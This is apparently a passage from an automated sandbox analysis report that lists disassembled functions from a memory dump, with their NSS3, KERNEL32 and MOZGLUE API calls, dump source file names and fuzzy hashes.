Instruction Fuzzy Hash: 86318EB5A002169FEB08DF65C891ABFBBF5EF45348B10842DD905E7700EB71D905CBA4

Function 6C754F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C754F5D
free.MOZGLUE(?), ref: 6C754F74
free.MOZGLUE(?), ref: 6C754F82
GetLastError.KERNEL32 ref: 6C754F90

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: e88853ad05051a3cc286083f36f824d333c84ce706f35bef313091539a2e5e42
Instruction ID: 0e6eea615a2048b141a90a4139a3b9e1491e07dc11eb258bfb5173d028e78fe0
Opcode Fuzzy Hash: e88853ad05051a3cc286083f36f824d333c84ce706f35bef313091539a2e5e42
Instruction Fuzzy Hash: 3F315775A002094BEF00CF6CDD85BDFB3B8FF45348F480238E815A7280DB35A92586A1

Function 6C69DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C69DDB1,?,00000000), ref: 6C69DDF4

Part of subcall function 6C6A14C0: TlsGetValue.KERNEL32 ref: 6C6A14E0
Part of subcall function 6C6A14C0: EnterCriticalSection.KERNEL32 ref: 6C6A14F5
Part of subcall function 6C6A14C0: PR_Unlock.NSS3 ref: 6C6A150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C69DDB1,?,00000000), ref: 6C69DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C69DDB1,?,00000000), ref: 6C69DE17

Part of subcall function 6C6A0BE0: malloc.MOZGLUE(6C698D2D,?,00000000,?), ref: 6C6A0BF8
Part of subcall function 6C6A0BE0: TlsGetValue.KERNEL32(6C698D2D,?,00000000,?), ref: 6C6A0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C69DE80

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 98d918662ae8dbffb4a157e11fc3280ef9ad321082edac89f2376adb2b2adf13
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 3531B4B5901B439BE700CF5AD880692F7E4FFA5318B24823AD81D87B41EB71F5A5CB94

Function 6C68FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C665ADC,?,00000000,00000001,?,?,00000000,?,6C65BA55,?,?), ref: 6C68FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C68FE5F
PR_Unlock.NSS3(78831D74), ref: 6C68FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C68FED6

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 523eb7c4e6795df4a9b9195ff7413c81a61fa2975f4c3d5cfb4fcfa436950ef5
Instruction ID: 764c2354f123f118711452fabf286ca6aa1ba0f0bd13f5233622b30027d37e30
Opcode Fuzzy Hash: 523eb7c4e6795df4a9b9195ff7413c81a61fa2975f4c3d5cfb4fcfa436950ef5
Instruction Fuzzy Hash: B6213131A02625BBDB109F24D80879A77B4BF06358F080135ED04A7E42E730E925CBFA

Function 6C693F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C693440: PK11_GetAllTokens.NSS3 ref: 6C693481
Part of subcall function 6C693440: PR_SetError.NSS3(00000000,00000000), ref: 6C6934A3
Part of subcall function 6C693440: TlsGetValue.KERNEL32 ref: 6C69352E
Part of subcall function 6C693440: EnterCriticalSection.KERNEL32(?), ref: 6C693542
Part of subcall function 6C693440: PR_Unlock.NSS3(?), ref: 6C69355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C67E80C,00000000,00000000,?,?,?,?,6C688C5B,-00000001), ref: 6C693FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C67E80C,00000000,00000000,?,?,?,?,6C688C5B,-00000001), ref: 6C693FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C67E80C,00000000,00000000,?,?,?,?,6C688C5B,-00000001), ref: 6C693FFE
PR_SetError.NSS3 ref: 6C69401A

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 9f10acdbb0a36bee7f288b59bdc8bf40454543f0cdf93622786bdeec45a75527
Instruction ID: fd5316298d7423b68b854127d30fd65293a26c4e9fb5cb8c4722f4759995e0b5
Opcode Fuzzy Hash: 9f10acdbb0a36bee7f288b59bdc8bf40454543f0cdf93622786bdeec45a75527
Instruction Fuzzy Hash: 00317270504705CFDB00AF69D5846AEBBF0FF89354F11592ED8998BB00EB70E985CB96

Function 6C684FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C68B60F,00000000), ref: 6C685003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C68B60F,00000000), ref: 6C68501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C68B60F,00000000), ref: 6C68504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C68B60F,00000000), ref: 6C685064

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: fe1274bd5405677ad4e2c84a5620f2c5095d078987e3851db26f19bdd0ee6193
Instruction ID: 8bb96e73cbc86d698978ea138fb4aed6494d95e266cc5b169424f59d52c2be0e
Opcode Fuzzy Hash: fe1274bd5405677ad4e2c84a5620f2c5095d078987e3851db26f19bdd0ee6193
Instruction Fuzzy Hash: 1A3127B4A06706CFDB00EF68C48466ABBF4FF49344B108569E95AD7700EB30E894CBA5

Function 6C6A9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C6AA71A,FFFFFFFF,?,?), ref: 6C6A9FAB

Part of subcall function 6C6A14C0: TlsGetValue.KERNEL32 ref: 6C6A14E0
Part of subcall function 6C6A14C0: EnterCriticalSection.KERNEL32 ref: 6C6A14F5
Part of subcall function 6C6A14C0: PR_Unlock.NSS3 ref: 6C6A150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6C6AA71A,6C6AA71A,00000000), ref: 6C6A9FD9

Part of subcall function 6C6A1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C64895A,00000000,?,00000000,?,00000000,?,00000000,?,6C63F599,?,00000000), ref: 6C6A136A
Part of subcall function 6C6A1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C64895A,00000000,?,00000000,?,00000000,?,00000000,?,6C63F599,?,00000000), ref: 6C6A137E
Part of subcall function 6C6A1340: PL_ArenaGrow.NSS3(?,6C63F599,?,00000000,?,6C64895A,00000000,?,00000000,?,00000000,?,00000000,?,6C63F599,?), ref: 6C6A13CF
Part of subcall function 6C6A1340: PR_Unlock.NSS3(?,?,6C64895A,00000000,?,00000000,?,00000000,?,00000000,?,6C63F599,?,00000000), ref: 6C6A145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C6AA71A,6C6AA71A,00000000), ref: 6C6AA009
PR_SetError.NSS3(FFFFE013,00000000,6C6AA71A,6C6AA71A,00000000), ref: 6C6AA045

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: fca6fb6f3127309529e0ff09ee3d9475cf0fa225f65e9c4d5090dfdd64084818
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 5321C5B4600206ABF7009F96DC40F66B7A9FF9535CF108129D82987B81EB76EC19CF94

Function 6C6B2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6B2E08

Part of subcall function 6C6A14C0: TlsGetValue.KERNEL32 ref: 6C6A14E0
Part of subcall function 6C6A14C0: EnterCriticalSection.KERNEL32 ref: 6C6A14F5
Part of subcall function 6C6A14C0: PR_Unlock.NSS3 ref: 6C6A150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C6B2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C6B2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6B2E95

Part of subcall function 6C6A1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6488A4,00000000,00000000), ref: 6C6A1228
Part of subcall function 6C6A1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C6A1238
Part of subcall function 6C6A1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6488A4,00000000,00000000), ref: 6C6A124B
Part of subcall function 6C6A1200: PR_CallOnce.NSS3(6C7A2AA4,6C6A12D0,00000000,00000000,00000000,?,6C6488A4,00000000,00000000), ref: 6C6A125D
Part of subcall function 6C6A1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C6A126F
Part of subcall function 6C6A1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C6A1280
Part of subcall function 6C6A1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C6A128E
Part of subcall function 6C6A1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C6A129A
Part of subcall function 6C6A1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6A12A1

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 152bf162b1b01fbe2f7b0ea0115a304646f8551be1f22680196ba5f3e9da5911
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: E3210BB5D003454BE700CF559D487AA37A4AF9230CF110269FD087B752F7B1E9AAC399

Function 6C66ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C66ACC2

Part of subcall function 6C642F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C642F0A
Part of subcall function 6C642F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C642F1D

Part of subcall function 6C642AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C640A1B,00000000), ref: 6C642AF0
Part of subcall function 6C642AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C642B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C66AD5E

Part of subcall function 6C6857D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C64B41E,00000000,00000000,?,00000000,?,6C64B41E,00000000,00000000,00000001,?), ref: 6C6857E0
Part of subcall function 6C6857D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C685843

CERT_DestroyCertList.NSS3(?), ref: 6C66AD36

Part of subcall function 6C642F50: CERT_DestroyCertificate.NSS3(?), ref: 6C642F65
Part of subcall function 6C642F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C642F83

free.MOZGLUE(?), ref: 6C66AD4F

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 217f92b83e5b8f7a8de1edacb318ab2fd3fd7303362d2953ea727ca8252cbb74
Instruction ID: 9ad6a3b3374bcaf03a958c1bec2cbccfa0abef78907807223eceb7113f7d92bf
Opcode Fuzzy Hash: 217f92b83e5b8f7a8de1edacb318ab2fd3fd7303362d2953ea727ca8252cbb74
Instruction Fuzzy Hash: 9D21C6B1D001148BEB10DF66D8055EEB7F4EF06208F558068D805B7B02FB31AA45CBEA

Function 6C693C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C693C9E
EnterCriticalSection.KERNEL32(?), ref: 6C693CAE
PR_Unlock.NSS3(?), ref: 6C693CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C693D02

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 68d91d96ad0515408d646e4174c3ec2f5746776f45084629187c605f68507004
Instruction ID: 52d732b70c155d04f38c0c1dd43fc32f3fa27ea9264561e01978068c60ca5f04
Opcode Fuzzy Hash: 68d91d96ad0515408d646e4174c3ec2f5746776f45084629187c605f68507004
Instruction Fuzzy Hash: 6F11D675A00605AFDB009F24DC48A9A37B8EF4A368F554071FC088B711D731ED54C7E5

Function 6C69ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C69F0AD,6C69F150,?,6C69F150,?,?,?), ref: 6C69ECBA

Part of subcall function 6C6A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6487ED,00000800,6C63EF74,00000000), ref: 6C6A1000
Part of subcall function 6C6A0FF0: PR_NewLock.NSS3(?,00000800,6C63EF74,00000000), ref: 6C6A1016
Part of subcall function 6C6A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6487ED,00000008,?,00000800,6C63EF74,00000000), ref: 6C6A102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C69ECD1

Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A10F3
Part of subcall function 6C6A10C0: EnterCriticalSection.KERNEL32(?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A110C
Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1141
Part of subcall function 6C6A10C0: PR_Unlock.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1182
Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C69ED02

Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C69ED5A

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 6fce6bc687ef580531e1b1156cd3e0731560d278c6282a850d3137b474c0890b
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: E021A4B59007429BE700CF25D944B52B7E4BFA5348F15C215E81C87661EB70E994C6D8

Function 6C6CEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C6B7FFA,?,6C6B9767,?,8B7874C0,0000A48E), ref: 6C6CEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C6B7FFA,?,6C6B9767,?,8B7874C0,0000A48E), ref: 6C6CEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C6B7FFA,?,6C6B9767,?,8B7874C0,0000A48E), ref: 6C6CEE14

Part of subcall function 6C6A0BE0: malloc.MOZGLUE(6C698D2D,?,00000000,?), ref: 6C6A0BF8
Part of subcall function 6C6A0BE0: TlsGetValue.KERNEL32(6C698D2D,?,00000000,?), ref: 6C6A0C15

memcpy.VCRUNTIME140(?,?,6C6B9767,00000000,00000000,6C6B7FFA,?,6C6B9767,?,8B7874C0,0000A48E), ref: 6C6CEE33

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: c72d6c10ae9b427bd582e6c6bcd4223db5dd34584da715502c2e389277591f8a
Instruction ID: 3b56a348f591eb3344f2d70c113b91476b781137c693baae919c8327c57e2e0a
Opcode Fuzzy Hash: c72d6c10ae9b427bd582e6c6bcd4223db5dd34584da715502c2e389277591f8a
Instruction Fuzzy Hash: 4011A771B04706ABD7109E65DC89B46B3B8EB0439DF104531E91986A00E731F465C7EA

Function 6C64DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6606A0: TlsGetValue.KERNEL32 ref: 6C6606C2
Part of subcall function 6C6606A0: EnterCriticalSection.KERNEL32(?), ref: 6C6606D6
Part of subcall function 6C6606A0: PR_Unlock.NSS3 ref: 6C6606EB

CERT_NewCertList.NSS3 ref: 6C64DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C64DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C64DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C64E029

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 97cb5aa5e4f0bb609ca508fd103468032533844ee3c397310434abbd81cb9acd
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: B3112F71A042156BDB109EA95C44BEBF678AB81B5DF04C534E938C7B00E732C82496ED

Function 6C668DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C668DE7
EnterCriticalSection.KERNEL32 ref: 6C668DFC
PR_Unlock.NSS3 ref: 6C668E2D
PR_SetError.NSS3 ref: 6C668E49

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
